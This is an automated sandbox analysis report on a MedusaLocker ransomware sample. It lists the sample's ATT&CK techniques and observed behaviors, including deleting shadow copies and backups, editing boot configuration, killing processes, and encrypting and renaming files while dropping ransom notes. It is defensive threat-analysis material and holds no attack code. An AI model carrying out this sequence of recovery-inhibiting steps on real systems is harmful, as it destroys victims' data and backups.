Malware Analysis Report

2024-09-11 01:45

Sample ID 240227-wj4fdaff34
Target cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.sample
SHA256 cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9
Tags
medusalocker evasion ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9

Threat Level: Known bad

The file cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.sample was found to be: Known bad.

Malicious Activity Summary

medusalocker evasion ransomware

MedusaLocker payload

Suspicious use of NtCreateUserProcessOtherParentProcess

Medusalocker family

Renames multiple (6034) files with added filename extension

Deletes shadow copies

Modifies boot configuration data using bcdedit

Renames multiple (7582) files with added filename extension

Deletes System State backups

Deletes system backups

Enumerates connected drives

Drops file in Windows directory

Drops file in Program Files directory

Unsigned PE

Enumerates physical storage devices

Interacts with shadow copies

Suspicious use of AdjustPrivilegeToken

Runs net.exe

System policy modification

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Indicator Removal
T1070
File Deletion
T1070.004
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Query Registry
T1012
Peripheral Device Discovery
T1120
System Information Discovery
T1082
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Inhibit System Recovery
T1490
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-02-27 17:57

Signatures

MedusaLocker payload

Description Indicator Process Target
N/A N/A N/A N/A

Medusalocker family

medusalocker

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-02-27 17:57

Reported

2024-02-27 18:00

Platform

win7-20240221-en

Max time kernel

151s

Max time network

126s

Command Line

C:\Windows\Explorer.EXE

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1752 created 1208 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\Explorer.EXE

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (7582) files with added filename extension

ransomware

Deletes System State backups

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Deletes system backups

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\F: C:\Windows\SysWOW64\cipher.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\A: C:\Windows\SysWOW64\cipher.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\MENU98.POC C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bishkek C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099195.GIF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Slate.css C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\ca\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Windows Media Player\en-US\wmpnscfg.exe.mui C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\DataType\Status.accft C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-snaptracer.xml C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\it-IT\slideShow.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Part\2 Right.accdt C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Beirut C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightOrange.css C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Garden.jpg C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099148.JPG C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.DEV.HXS C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\fr-FR\js\localizedStrings.js C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00602_.WMF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0292286.WMF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR48F.GIF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\Sounds\Places\WARN.WAV C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-static.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\nl.pak C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Petersburg C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\drag.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Microsoft Visual Studio 8\VSTA\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\en-US\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Java\jre7\lib\applet\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_box_right.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\EQUATION\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\de-DE\settings.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Backgammon\es-ES\bckgzm.exe.mui C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Windows Photo Viewer\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\diner_s.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\EDGE\THMBNAIL.PNG C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\VGX\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\es-ES\wmplayer.exe.mui C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099145.JPG C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Solstice.xml C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14581_.GIF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\ENGDIC.DAT C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\InkWatson.exe.mui C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\ja-JP\js\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\SONORA\THMBNAIL.PNG C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\TRANSLAT\ENES\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\GrayCheck\TAB_ON.GIF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-explorer.xml C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\it-IT\js\picturePuzzle.js C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\CANYON\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSPUB.HXS C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\SoftBlue\TAB_ON.GIF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolIcons\WSS_DocLib.ico C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.TLB C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\ConvertSelect.aif C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18243_.WMF C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl C:\Windows\system32\wbadmin.exe N/A
File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl C:\Windows\system32\wbadmin.exe N/A
File opened for modification C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl C:\Windows\system32\wbadmin.exe N/A

Enumerates physical storage devices

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
